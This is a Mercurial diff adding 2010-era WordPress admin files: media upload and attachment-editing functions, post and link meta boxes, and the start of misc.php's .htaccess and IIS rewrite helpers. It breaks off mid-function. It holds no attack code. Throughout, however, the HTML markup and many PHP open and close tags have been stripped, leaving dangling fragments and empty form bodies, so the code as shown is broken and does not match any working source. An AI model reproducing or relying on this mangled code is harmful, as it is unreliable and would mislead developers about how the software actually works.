$post['post_title'] = preg_replace('/\.\w+$/', '', basename($post['guid'])); + $post['errors']['post_title']['errors'][] = __('Empty Title filled from filename.'); + } + } + + return $post; +} + +add_filter('attachment_fields_to_save', 'image_attachment_fields_to_save', 10, 2); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $html + * @param unknown_type $attachment_id + * @param unknown_type $attachment + * @return unknown + */ +function image_media_send_to_editor($html, $attachment_id, $attachment) { + $post =& get_post($attachment_id); + if ( substr($post->post_mime_type, 0, 5) == 'image' ) { + $url = $attachment['url']; + $align = !empty($attachment['align']) ? $attachment['align'] : 'none'; + $size = !empty($attachment['image-size']) ? $attachment['image-size'] : 'medium'; + $alt = !empty($attachment['image_alt']) ? $attachment['image_alt'] : ''; + $rel = ( $url == get_attachment_link($attachment_id) ); + + return get_image_send_to_editor($attachment_id, $attachment['post_excerpt'], $attachment['post_title'], $align, $url, $rel, $size, $alt); + } + + return $html; +} + +add_filter('media_send_to_editor', 'image_media_send_to_editor', 10, 3); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $post + * @param unknown_type $errors + * @return unknown + */ +function get_attachment_fields_to_edit($post, $errors = null) { + if ( is_int($post) ) + $post =& get_post($post); + if ( is_array($post) ) + $post = (object) $post; + + $image_url = wp_get_attachment_url($post->ID); + + $edit_post = sanitize_post($post, 'edit'); + + $form_fields = array( + 'post_title' => array( + 'label' => __('Title'), + 'value' => $edit_post->post_title + ), + 'image_alt' => array(), + 'post_excerpt' => array( + 'label' => __('Caption'), + 'value' => $edit_post->post_excerpt + ), + 'post_content' => array( + 'label' => __('Description'), + 'value' => $edit_post->post_content, + 'input' => 'textarea' + ), + 'url' => array( + 'label' => __('Link URL'), + 'input' => 'html', + 'html' => image_link_input_fields($post, get_option('image_default_link_type')), + 'helps' => __('Enter a link URL or click above for presets.') + ), + 'menu_order' => array( + 'label' => __('Order'), + 'value' => $edit_post->menu_order + ), + 'image_url' => array( + 'label' => __('File URL'), + 'input' => 'html', + 'html' => "
    ", + 'value' => wp_get_attachment_url($post->ID), + 'helps' => __('Location of the uploaded file.') + ) + ); + + foreach ( get_attachment_taxonomies($post) as $taxonomy ) { + $t = (array) get_taxonomy($taxonomy); + if ( empty($t['label']) ) + $t['label'] = $taxonomy; + if ( empty($t['args']) ) + $t['args'] = array(); + + $terms = get_object_term_cache($post->ID, $taxonomy); + if ( empty($terms) ) + $terms = wp_get_object_terms($post->ID, $taxonomy, $t['args']); + + $values = array(); + + foreach ( $terms as $term ) + $values[] = $term->name; + $t['value'] = join(', ', $values); + + $form_fields[$taxonomy] = $t; + } + + // Merge default fields with their errors, so any key passed with the error (e.g. 'error', 'helps', 'value') will replace the default + // The recursive merge is easily traversed with array casting: foreach( (array) $things as $thing ) + $form_fields = array_merge_recursive($form_fields, (array) $errors); + + $form_fields = apply_filters('attachment_fields_to_edit', $form_fields, $post); + + return $form_fields; +} + +/** + * Retrieve HTML for media items of post gallery. + * + * The HTML markup retrieved will be created for the progress of SWF Upload + * component. Will also create link for showing and hiding the form to modify + * the image attachment. + * + * @since unknown + * + * @param int $post_id Optional. Post ID. + * @param array $errors Errors for attachment, if any. + * @return string + */ +function get_media_items( $post_id, $errors ) { + if ( $post_id ) { + $post = get_post($post_id); + if ( $post && $post->post_type == 'attachment' ) + $attachments = array($post->ID => $post); + else + $attachments = get_children( array( 'post_parent' => $post_id, 'post_type' => 'attachment', 'orderby' => 'menu_order ASC, ID', 'order' => 'DESC') ); + } else { + if ( is_array($GLOBALS['wp_the_query']->posts) ) + foreach ( $GLOBALS['wp_the_query']->posts as $attachment ) + $attachments[$attachment->ID] = $attachment; + } + + $output = ''; + foreach ( (array) $attachments as $id => $attachment ) { + if ( $attachment->post_status == 'trash' ) + continue; + if ( $item = get_media_item( $id, array( 'errors' => isset($errors[$id]) ? $errors[$id] : null) ) ) + $output .= "\n
    $item\n
    "; + } + + return $output; +} + +/** + * Retrieve HTML form for modifying the image attachment. + * + * @since unknown + * + * @param int $attachment_id Attachment ID for modification. + * @param string|array $args Optional. Override defaults. + * @return string HTML form for attachment. + */ +function get_media_item( $attachment_id, $args = null ) { + global $redir_tab; + + if ( ( $attachment_id = intval($attachment_id) ) && $thumb_url = get_attachment_icon_src( $attachment_id ) ) + $thumb_url = $thumb_url[0]; + else + return false; + + $default_args = array( 'errors' => null, 'send' => true, 'delete' => true, 'toggle' => true, 'show_title' => true ); + $args = wp_parse_args( $args, $default_args ); + extract( $args, EXTR_SKIP ); + + $toggle_on = __('Show'); + $toggle_off = __('Hide'); + + $post = get_post($attachment_id); + + $filename = basename($post->guid); + $title = esc_attr($post->post_title); + + if ( $_tags = get_the_tags($attachment_id) ) { + foreach ( $_tags as $tag ) + $tags[] = $tag->name; + $tags = esc_attr(join(', ', $tags)); + } + + $post_mime_types = get_post_mime_types(); + $keys = array_keys(wp_match_mime_types(array_keys($post_mime_types), $post->post_mime_type)); + $type = array_shift($keys); + $type_html = ""; + + $form_fields = get_attachment_fields_to_edit($post, $errors); + + if ( $toggle ) { + $class = empty($errors) ? 'startclosed' : 'startopen'; + $toggle_links = " + $toggle_on + $toggle_off"; + } else { + $class = 'form-table'; + $toggle_links = ''; + } + + $display_title = ( !empty( $title ) ) ? $title : $filename; // $title shouldn't ever be empty, but just in case + $display_title = $show_title ? "
    " . wp_html_excerpt($display_title, 60) . "
    " : ''; + + $gallery = ( (isset($_REQUEST['tab']) && 'gallery' == $_REQUEST['tab']) || (isset($redir_tab) && 'gallery' == $redir_tab) ) ? true : false; + $order = ''; + + foreach ( $form_fields as $key => $val ) { + if ( 'menu_order' == $key ) { + if ( $gallery ) + $order = ''; + else + $order = ''; + + unset($form_fields['menu_order']); + break; + } + } + + $media_dims = ''; + $meta = wp_get_attachment_metadata($post->ID); + if ( is_array($meta) && array_key_exists('width', $meta) && array_key_exists('height', $meta) ) + $media_dims .= "{$meta['width']} × {$meta['height']} "; + $media_dims = apply_filters('media_meta', $media_dims, $post); + + $image_edit_button = ''; + if ( gd_edit_image_support($post->post_mime_type) ) { + $nonce = wp_create_nonce("image_editor-$post->ID"); + $image_edit_button = " "; + } + + $item = " + $type_html + $toggle_links + $order + $display_title + + + + + + + + \n"; + + if ( !empty($media_dims) ) + $item .= "\n"; + + $item .= " + + + + + \n"; + + $defaults = array( + 'input' => 'text', + 'required' => false, + 'value' => '', + 'extra_rows' => array(), + ); + + if ( $send ) + $send = ""; + if ( $delete && current_user_can('delete_post', $attachment_id) ) { + if ( !EMPTY_TRASH_DAYS ) { + $delete = "" . __('Delete Permanently') . ""; + } elseif ( !MEDIA_TRASH ) { + $delete = "" . __('Delete') . "
    " . sprintf(__("You are about to delete %s."), $filename) . " " . __('Continue') . " " . __('Cancel') . "
    "; + } else { + $delete = "" . __('Move to Trash') . "" . __('Undo') . ""; + } + } else { + $delete = ''; + } + + $thumbnail = ''; + $calling_post_id = 0; + if ( isset( $_GET['post_id'] ) ) + $calling_post_id = $_GET['post_id']; + elseif ( isset( $_POST ) && count( $_POST ) ) // Like for async-upload where $_GET['post_id'] isn't set + $calling_post_id = $post->post_parent; + if ( 'image' == $type && $calling_post_id && current_theme_supports( 'post-thumbnails', get_post_type( $calling_post_id ) ) && get_post_thumbnail_id( $calling_post_id ) != $attachment_id ) + $thumbnail = "" . esc_html__( "Use as thumbnail" ) . ""; + + if ( ( $send || $thumbnail || $delete ) && !isset($form_fields['buttons']) ) + $form_fields['buttons'] = array('tr' => "\t\t\n"); + + $hidden_fields = array(); + + foreach ( $form_fields as $id => $field ) { + if ( $id{0} == '_' ) + continue; + + if ( !empty($field['tr']) ) { + $item .= $field['tr']; + continue; + } + + $field = array_merge($defaults, $field); + $name = "attachments[$attachment_id][$id]"; + + if ( $field['input'] == 'hidden' ) { + $hidden_fields[$name] = $field['value']; + continue; + } + + $required = $field['required'] ? '*' : ''; + $aria_required = $field['required'] ? " aria-required='true' " : ''; + $class = $id; + $class .= $field['required'] ? ' form-required' : ''; + + $item .= "\t\t\n\t\t\t\n\t\t\t\n\t\t\n"; + + $extra_rows = array(); + + if ( !empty($field['errors']) ) + foreach ( array_unique((array) $field['errors']) as $error ) + $extra_rows['error'][] = $error; + + if ( !empty($field['extra_rows']) ) + foreach ( $field['extra_rows'] as $class => $rows ) + foreach ( (array) $rows as $html ) + $extra_rows[$class][] = $html; + + foreach ( $extra_rows as $class => $rows ) + foreach ( $rows as $html ) + $item .= "\t\t\n"; + } + + if ( !empty($form_fields['_final']) ) + $item .= "\t\t\n"; + $item .= "\t\n"; + $item .= "\t
    " . __('File name:') . " $filename
    " . __('File type:') . " $post->post_mime_type
    " . __('Upload date:') . " " . mysql2date( get_option('date_format'), $post->post_date ) . "
    " . __('Dimensions:') . " $media_dims
    $image_edit_button
    $send $thumbnail $delete
    "; + if ( !empty($field[$field['input']]) ) + $item .= $field[$field['input']]; + elseif ( $field['input'] == 'textarea' ) { + $item .= ""; + } else { + $item .= ""; + } + if ( !empty($field['helps']) ) + $item .= "

    " . join( "

    \n

    ", array_unique((array) $field['helps']) ) . '

    '; + $item .= "
    $html
    {$form_fields['_final']}
    \n"; + + foreach ( $hidden_fields as $name => $value ) + $item .= "\t\n"; + + if ( $post->post_parent < 1 && isset($_REQUEST['post_id']) ) { + $parent = (int) $_REQUEST['post_id']; + $parent_name = "attachments[$attachment_id][post_parent]"; + + $item .= "\t\n"; + } + + return $item; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + */ +function media_upload_header() { + ?> + +
    + +
    + + +
    + + + +
    +
    + + get_error_message(); ?> + +
    + + + + + + +
    + + +
    + +
    + +
    + +

    +
    + + +
    + +

    + + +

    +
    + +

    + + +
    + + + +
    + + + + +

    + + + + +
    +'.esc_html($id->get_error_message()).'
    '; + exit; + } +} +?> +
    +

    + +

    + + + + + + + + +

    + + + +
    +
    + +
    +
    + + + + +
    + + + + + + + | + | + +
    + + + +
    + + + + + + + +
      + $reals ) + foreach ( $reals as $real ) + if ( isset($num_posts[$_type]) ) + $num_posts[$_type] += $_num_posts[$real]; + else + $num_posts[$_type] = $_num_posts[$real]; +// If available type specified by media button clicked, filter by that type +if ( empty($_GET['post_mime_type']) && !empty($num_posts[$type]) ) { + $_GET['post_mime_type'] = $type; + list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query(); +} +if ( empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all' ) + $class = ' class="current"'; +else + $class = ''; +$type_links[] = "
    • 'all', 'paged'=>false, 'm'=>false))) . "'$class>".__('All Types').""; +foreach ( $post_mime_types as $mime_type => $label ) { + $class = ''; + + if ( !wp_match_mime_types($mime_type, $avail_post_mime_types) ) + continue; + + if ( isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type']) ) + $class = ' class="current"'; + + $type_links[] = "
    • $mime_type, 'paged'=>false))) . "'$class>" . sprintf(_n($label[2][0], $label[2][1], $num_posts[$mime_type]), "" . number_format_i18n( $num_posts[$mime_type] ) . '') . ''; +} +echo implode(' |
    • ', $type_links) . ''; +unset($type_links); +?> +
    + +
    + + add_query_arg( 'paged', '%#%' ), + 'format' => '', + 'prev_text' => __('«'), + 'next_text' => __('»'), + 'total' => ceil($wp_query->found_posts / 10), + 'current' => $_GET['paged'] +)); + +if ( $page_links ) + echo "
    $page_links
    "; +?> + +
    +posts WHERE post_type = 'attachment' ORDER BY post_date DESC"; + +$arc_result = $wpdb->get_results( $arc_query ); + +$month_count = count($arc_result); + +if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) { ?> + + + + + +
    + +
    +
    +
    + +
    + + + + + + +
    + + +
    +

    + + +

    +
    + + + + + + +'; + } else { + $caption = ''; + } + + $default_align = get_option('image_default_align'); + if ( empty($default_align) ) + $default_align = 'none'; + + return ' +

    ' . __('Insert an image from another web site') . '

    + + + + + + + + + + + + + + + + ' . $caption . ' + + + + + + + + + + + + + + +
    + + * +
    + + * +
    + + +

    ' . __('Alt text for the image, e.g. “The Mona Lisa”') . '

    + + + + + + + + +
    + +
    + + + +

    ' . __('Enter a link URL or click above for presets.') . '

    + +
    +'; + +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function type_url_form_audio() { + return ' + + + + + + + + + + + + + + +
    + + * +
    + + * +
    ' . __('Link text, e.g. “Still Alive by Jonathan Coulton”') . '
    + +
    +'; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function type_url_form_video() { + return ' + + + + + + + + + + + + + + +
    + + * +
    + + * +
    ' . __('Link text, e.g. “Lucy on YouTube“') . '
    + +
    +'; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @return unknown + */ +function type_url_form_file() { + return ' + + + + + + + + + + + + + + +
    + + * +
    + + * +
    ' . __('Link text, e.g. “Ransom Demands (PDF)”') . '
    + +
    +'; +} + +/** + * {@internal Missing Short Description}} + * + * Support a GET parameter for disabling the flash uploader. + * + * @since unknown + * + * @param unknown_type $flash + * @return unknown + */ +function media_upload_use_flash($flash) { + if ( array_key_exists('flash', $_REQUEST) ) + $flash = !empty($_REQUEST['flash']); + return $flash; +} + +add_filter('flash_uploader', 'media_upload_use_flash'); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + */ +function media_upload_flash_bypass() { + echo '

    '; + printf( __('You are using the Flash uploader. Problems? Try the Browser uploader instead.'), esc_url(add_query_arg('flash', 0)) ); + echo '

    '; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + */ +function media_upload_html_bypass($flash = true) { + echo '

    '; + _e('You are using the Browser uploader.'); + if ( $flash ) { + // the user manually selected the browser uploader, so let them switch back to Flash + echo ' '; + printf( __('Try the Flash uploader instead.'), esc_url(add_query_arg('flash', 1)) ); + } + echo "

    \n"; +} + +add_action('post-flash-upload-ui', 'media_upload_flash_bypass'); +add_action('post-html-upload-ui', 'media_upload_html_bypass'); + +/** + * {@internal Missing Short Description}} + * + * Make sure the GET parameter sticks when we submit a form. + * + * @since unknown + * + * @param unknown_type $url + * @return unknown + */ +function media_upload_bypass_url($url) { + if ( array_key_exists('flash', $_REQUEST) ) + $url = add_query_arg('flash', intval($_REQUEST['flash'])); + return $url; +} + +add_filter('media_upload_form_url', 'media_upload_bypass_url'); + +add_filter('async_upload_image', 'get_media_item', 10, 2); +add_filter('async_upload_audio', 'get_media_item', 10, 2); +add_filter('async_upload_video', 'get_media_item', 10, 2); +add_filter('async_upload_file', 'get_media_item', 10, 2); + +add_action('media_upload_image', 'media_upload_image'); +add_action('media_upload_audio', 'media_upload_audio'); +add_action('media_upload_video', 'media_upload_video'); +add_action('media_upload_file', 'media_upload_file'); + +add_filter('media_upload_gallery', 'media_upload_gallery'); + +add_filter('media_upload_library', 'media_upload_library'); + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/meta-boxes.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/meta-boxes.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,826 @@ +post_type; + $can_publish = current_user_can("publish_${post_type}s"); +?> +
    + +
    + + +
    + +
    + +
    +
    +post_status && 'future' != $post->post_status && 'pending' != $post->post_status ) { ?> +post_status ) { ?>style="display:none" type="submit" name="save" id="save-post" value="" tabindex="4" class="button button-highlighted" /> +post_status && $can_publish ) { ?> + + +
    + +
    +post_status ) { + $preview_link = esc_url(get_permalink($post->ID)); + $preview_button = __('Preview Changes'); +} else { + $preview_link = esc_url(apply_filters('preview_post_link', add_query_arg('preview', 'true', get_permalink($post->ID)))); + $preview_button = __('Preview'); +} +?> + + +
    + +
    +
    + +
    + +
    + +post_status ) { + case 'private': + _e('Privately Published'); + break; + case 'publish': + _e('Published'); + break; + case 'future': + _e('Scheduled'); + break; + case 'pending': + _e('Pending Review'); + break; + case 'draft': + _e('Draft'); + break; +} +?> + +post_status || 'private' == $post->post_status || $can_publish ) { ?> +post_status ) { ?>style="display:none;" class="edit-post-status hide-if-no-js" tabindex='4'> + +
    + + + + +
    + + +
    + +
    + post_status ) { + $post->post_password = ''; + $visibility = 'private'; + $visibility_trans = __('Private'); +} elseif ( !empty( $post->post_password ) ) { + $visibility = 'password'; + $visibility_trans = __('Password protected'); +} elseif ( $post_type == 'post' && is_sticky( $post->ID ) ) { + $visibility = 'public'; + $visibility_trans = __('Public, Sticky'); +} else { + $visibility = 'public'; + $visibility_trans = __('Public'); +} + +echo esc_html( $visibility_trans ); ?> + + + +
    + + +ID)); ?> /> + + + + + />
    + +ID)); ?> tabindex="4" />
    + + />
    +
    + />
    + +

    + + +

    +
    + + +
    + + +ID ) { + if ( 'future' == $post->post_status ) { // scheduled for publishing at a future date + $stamp = __('Scheduled for: %1$s'); + } else if ( 'publish' == $post->post_status || 'private' == $post->post_status ) { // already published + $stamp = __('Published on: %1$s'); + } else if ( '0000-00-00 00:00:00' == $post->post_date_gmt ) { // draft, 1 or more saves, no date specified + $stamp = __('Publish immediately'); + } else if ( time() < strtotime( $post->post_date_gmt . ' +0000' ) ) { // draft, 1 or more saves, future date specified + $stamp = __('Schedule for: %1$s'); + } else { // draft, 1 or more saves, date specified + $stamp = __('Publish on: %1$s'); + } + $date = date_i18n( $datef, strtotime( $post->post_date ) ); +} else { // draft (no saves, and thus no date specified) + $stamp = __('Publish immediately'); + $date = date_i18n( $datef, strtotime( current_time('mysql') ) ); +} + +if ( $can_publish ) : // Contributors don't get to choose the date of publish ?> +
    + + + +
    +
    + + + +
    +
    +
    + +
    + +
    +ID ) ) { + if ( !EMPTY_TRASH_DAYS ) { + $delete_url = wp_nonce_url( add_query_arg( array('action' => 'delete', 'post' => $post->ID) ), "delete-${post_type}_{$post->ID}" ); + $delete_text = __('Delete Permanently'); + } else { + $delete_url = wp_nonce_url( add_query_arg( array('action' => 'trash', 'post' => $post->ID) ), "trash-${post_type}_{$post->ID}" ); + $delete_text = __('Move to Trash'); + } ?> +" href=""> +
    + +
    + +post_status, array('publish', 'future', 'private') ) || 0 == $post->ID ) { + if ( $can_publish ) : + if ( !empty($post->post_date_gmt) && time() < strtotime( $post->post_date_gmt . ' +0000' ) ) : ?> + + + + + + + + + + + + +
    +
    +
    +
    + +helps) ? esc_attr($taxonomy->helps) : __('Separate tags with commas.'); +?> +
    +
    +
    +

    +
    + +
    + +
    + + +
    +

    +
    +
    +

    + +
      +
    • +
    • +
    + + + +
    +
      +ID, false, false, $popular_ids) ?> +
    +
    + + +
    +

    +

    + + 0, 'name' => 'newcat_parent', 'orderby' => 'name', 'hierarchical' => 1, 'show_option_none' => __('Parent category') ) ); ?> + + +

    +
    + + +

    Learn more about manual excerpts.'); ?>

    +to_ping) ) .'" />'; + if ('' != $post->pinged) { + $pings = '

    '. __('Already pinged:') . '

      '; + $already_pinged = explode("\n", trim($post->pinged)); + foreach ($already_pinged as $pinged_url) { + $pings .= "\n\t
    • " . esc_html($pinged_url) . "
    • "; + } + $pings .= '
    '; + } + +?> +


    ()

    +

    pingbacks, no other action necessary.'); ?>

    + +
    +
    +ID); +list_meta($metadata); +meta_form(); ?> +
    +

    use in your theme.'); ?>

    + + +

    +
    + +

    +get_var($wpdb->prepare("SELECT count(1) FROM $wpdb->comments WHERE comment_post_ID = '%d' AND ( comment_approved = '0' OR comment_approved = '1')", $post_ID)); + + if ( 1 > $total ) { + echo '

    ' . __('No comments yet.') . '

    '; + return; + } + + wp_nonce_field( 'get-comments', 'add_comment_nonce', false ); +?> + + + + + + + + +

    + + + + +id, true, $post->post_type ); // TODO: ROLE SYSTEM + if ( $post->post_author && !in_array($post->post_author, $authors) ) + $authors[] = $post->post_author; +?> + $authors, 'name' => 'post_author_override', 'selected' => empty($post->ID) ? $user_ID : $post->post_author) ); ?> + +
    + + $post->ID, 'selected' => $post->post_parent, 'name' => 'parent_id', 'show_option_none' => __('Main Page (no parent)'), 'sort_column'=> 'menu_order, post_title')); ?> +

    + +
    + +

    + +
    +

    +

    + + + +
      +
    • +
    • +
    + +
    +
      + link_id) ) + wp_link_category_checklist($link->link_id); + else + wp_link_category_checklist(); + ?> +
    +
    + + + +
    +

    + +
    + +
    +

    +

    +

    +
    +

    +link_rel ) ? $link->link_rel : ''; // In PHP 5.3: $link_rel = $link->link_rel ?: ''; + $rels = preg_split('/\s+/', $link_rel); + + if ('' != $value && in_array($value, $rels) ) { + echo ' checked="checked"'; + } + + if ('' == $value) { + if ('family' == $class && strpos($link_rel, 'child') === false && strpos($link_rel, 'parent') === false && strpos($link_rel, 'sibling') === false && strpos($link_rel, 'spouse') === false && strpos($link_rel, 'kin') === false) echo ' checked="checked"'; + if ('friendship' == $class && strpos($link_rel, 'friend') === false && strpos($link_rel, 'acquaintance') === false && strpos($link_rel, 'contact') === false) echo ' checked="checked"'; + if ('geographical' == $class && strpos($link_rel, 'co-resident') === false && strpos($link_rel, 'neighbor') === false) echo ' checked="checked"'; + if ('identity' == $class && in_array('me', $rels) ) echo ' checked="checked"'; + } +} + + +/** + * Display xfn form fields. + * + * @since 2.6.0 + * + * @param object $link + */ +function link_xfn_meta_box($link) { +?> + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + +
    + +
    + + +
    + + + +
    + + + + + + +
    + + + + +
    +
    +

    XFN.'); ?>

    + + + + + + + + + + + + + + + + + + +
      +
    +ID, '_thumbnail_id', true ); + echo _wp_post_thumbnail_html( $thumbnail_id ); +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/misc.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/misc.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,642 @@ + $markerline ) { + if (strpos($markerline, '# BEGIN ' . $marker) !== false) + $state = false; + if ( $state ) { + if ( $n + 1 < count( $markerdata ) ) + fwrite( $f, "{$markerline}\n" ); + else + fwrite( $f, "{$markerline}" ); + } + if (strpos($markerline, '# END ' . $marker) !== false) { + fwrite( $f, "# BEGIN {$marker}\n" ); + if ( is_array( $insertion )) + foreach ( $insertion as $insertline ) + fwrite( $f, "{$insertline}\n" ); + fwrite( $f, "# END {$marker}\n" ); + $state = true; + $foundit = true; + } + } + } + if (!$foundit) { + fwrite( $f, "\n# BEGIN {$marker}\n" ); + foreach ( $insertion as $insertline ) + fwrite( $f, "{$insertline}\n" ); + fwrite( $f, "# END {$marker}\n" ); + } + fclose( $f ); + return true; + } else { + return false; + } +} + +/** + * Updates the htaccess file with the current rules if it is writable. + * + * Always writes to the file if it exists and is writable to ensure that we + * blank out old rules. + * + * @since unknown + */ +function save_mod_rewrite_rules() { + global $wp_rewrite; + + $home_path = get_home_path(); + $htaccess_file = $home_path.'.htaccess'; + + // If the file doesn't already exists check for write access to the directory and whether of not we have some rules. + // else check for write access to the file. + if ((!file_exists($htaccess_file) && is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks()) || is_writable($htaccess_file)) { + if ( got_mod_rewrite() ) { + $rules = explode( "\n", $wp_rewrite->mod_rewrite_rules() ); + return insert_with_markers( $htaccess_file, 'WordPress', $rules ); + } + } + + return false; +} + +/** + * Updates the IIS web.config file with the current rules if it is writable. + * If the permalinks do not require rewrite rules then the rules are deleted from the web.config file. + * + * @since 2.8.0 + * + * @return bool True if web.config was updated successfully + */ +function iis7_save_url_rewrite_rules(){ + global $wp_rewrite; + + $home_path = get_home_path(); + $web_config_file = $home_path . 'web.config'; + + // Using win_is_writable() instead of is_writable() because of a bug in Windows PHP + if ( ( ! file_exists($web_config_file) && win_is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks() ) || win_is_writable($web_config_file) ) { + if ( iis7_supports_permalinks() ) { + $rule = $wp_rewrite->iis7_url_rewrite_rules(false, '', ''); + if ( ! empty($rule) ) { + return iis7_add_rewrite_rule($web_config_file, $rule); + } else { + return iis7_delete_rewrite_rule($web_config_file); + } + } + } + return false; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $file + */ +function update_recently_edited( $file ) { + $oldfiles = (array ) get_option( 'recently_edited' ); + if ( $oldfiles ) { + $oldfiles = array_reverse( $oldfiles ); + $oldfiles[] = $file; + $oldfiles = array_reverse( $oldfiles ); + $oldfiles = array_unique( $oldfiles ); + if ( 5 < count( $oldfiles )) + array_pop( $oldfiles ); + } else { + $oldfiles[] = $file; + } + update_option( 'recently_edited', $oldfiles ); +} + +/** + * If siteurl or home changed, flush rewrite rules. + * + * @since unknown + * + * @param unknown_type $old_value + * @param unknown_type $value + */ +function update_home_siteurl( $old_value, $value ) { + global $wp_rewrite; + + if ( defined( "WP_INSTALLING" ) ) + return; + + // If home changed, write rewrite rules to new location. + $wp_rewrite->flush_rules(); +} + +add_action( 'update_option_home', 'update_home_siteurl', 10, 2 ); +add_action( 'update_option_siteurl', 'update_home_siteurl', 10, 2 ); + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $url + * @return unknown + */ +function url_shorten( $url ) { + $short_url = str_replace( 'http://', '', stripslashes( $url )); + $short_url = str_replace( 'www.', '', $short_url ); + if ('/' == substr( $short_url, -1 )) + $short_url = substr( $short_url, 0, -1 ); + if ( strlen( $short_url ) > 35 ) + $short_url = substr( $short_url, 0, 32 ).'...'; + return $short_url; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param unknown_type $vars + */ +function wp_reset_vars( $vars ) { + for ( $i=0; $iget_error_data() ) + $message = $message->get_error_message() . ': ' . $message->get_error_data(); + else + $message = $message->get_error_message(); + } + echo "

    $message

    \n"; +} + +function wp_doc_link_parse( $content ) { + if ( !is_string( $content ) || empty( $content ) ) + return array(); + + if ( !function_exists('token_get_all') ) + return array(); + + $tokens = token_get_all( $content ); + $functions = array(); + $ignore_functions = array(); + for ( $t = 0, $count = count( $tokens ); $t < $count; $t++ ) { + if ( !is_array( $tokens[$t] ) ) continue; + if ( T_STRING == $tokens[$t][0] && ( '(' == $tokens[ $t + 1 ] || '(' == $tokens[ $t + 2 ] ) ) { + // If it's a function or class defined locally, there's not going to be any docs available + if ( ( isset( $tokens[ $t - 2 ][1] ) && in_array( $tokens[ $t - 2 ][1], array( 'function', 'class' ) ) ) || ( isset( $tokens[ $t - 2 ][0] ) && T_OBJECT_OPERATOR == $tokens[ $t - 1 ][0] ) ) { + $ignore_functions[] = $tokens[$t][1]; + } + // Add this to our stack of unique references + $functions[] = $tokens[$t][1]; + } + } + + $functions = array_unique( $functions ); + sort( $functions ); + $ignore_functions = apply_filters( 'documentation_ignore_functions', $ignore_functions ); + $ignore_functions = array_unique( $ignore_functions ); + + $out = array(); + foreach ( $functions as $function ) { + if ( in_array( $function, $ignore_functions ) ) + continue; + $out[] = $function; + } + + return $out; +} + +/** + * Determines the language to use for CodePress syntax highlighting, + * based only on a filename. + * + * @since 2.8 + * + * @param string $filename The name of the file to be highlighting +**/ +function codepress_get_lang( $filename ) { + $codepress_supported_langs = apply_filters( 'codepress_supported_langs', + array( '.css' => 'css', + '.js' => 'javascript', + '.php' => 'php', + '.html' => 'html', + '.htm' => 'html', + '.txt' => 'text' + ) ); + $extension = substr( $filename, strrpos( $filename, '.' ) ); + if ( $extension && array_key_exists( $extension, $codepress_supported_langs ) ) + return $codepress_supported_langs[$extension]; + + return 'generic'; +} + +/** + * Adds Javascript required to make CodePress work on the theme/plugin editors. + * + * This code is attached to the action admin_print_footer_scripts. + * + * @since 2.8 +**/ +function codepress_footer_js() { + // Script-loader breaks CP's automatic path-detection, thus CodePress.path + // CP edits in an iframe, so we need to grab content back into normal form + ?> + 999 ) + return; + break; + default: + $value = apply_filters('set-screen-option', false, $option, $value); + if ( false === $value ) + return; + break; + } + + update_usermeta($user->ID, $option, $value); + wp_redirect( remove_query_arg( array('pagenum', 'apage', 'paged'), wp_get_referer() ) ); + exit; + } +} + +function wp_menu_unfold() { + if ( isset($_GET['unfoldmenu']) ) { + delete_user_setting('mfold'); + wp_redirect( remove_query_arg( 'unfoldmenu', stripslashes($_SERVER['REQUEST_URI']) ) ); + exit; + } +} + +/** + * Check if IIS 7 supports pretty permalinks + * + * @since 2.8.0 + * + * @return bool + */ +function iis7_supports_permalinks() { + global $is_iis7; + + $supports_permalinks = false; + if ( $is_iis7 ) { + /* First we check if the DOMDocument class exists. If it does not exist, + * which is the case for PHP 4.X, then we cannot easily update the xml configuration file, + * hence we just bail out and tell user that pretty permalinks cannot be used. + * This is not a big issue because PHP 4.X is going to be depricated and for IIS it + * is recommended to use PHP 5.X NTS. + * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When + * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'. + * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs + * via ISAPI then pretty permalinks will not work. + */ + $supports_permalinks = class_exists('DOMDocument') && isset($_SERVER['IIS_UrlRewriteModule']) && ( php_sapi_name() == 'cgi-fcgi' ); + } + + return apply_filters('iis7_supports_permalinks', $supports_permalinks); +} + +/** + * Check if rewrite rule for WordPress already exists in the IIS 7 configuration file + * + * @since 2.8.0 + * + * @return bool + * @param string $filename The file path to the configuration file + */ +function iis7_rewrite_rule_exists($filename) { + if ( ! file_exists($filename) ) + return false; + if ( ! class_exists('DOMDocument') ) + return false; + + $doc = new DOMDocument(); + if ( $doc->load($filename) === false ) + return false; + $xpath = new DOMXPath($doc); + $rules = $xpath->query('/configuration/system.webServer/rewrite/rules/rule[@name=\'wordpress\']'); + if ( $rules->length == 0 ) + return false; + else + return true; +} + +/** + * Delete WordPress rewrite rule from web.config file if it exists there + * + * @since 2.8.0 + * + * @param string $filename Name of the configuration file + * @return bool + */ +function 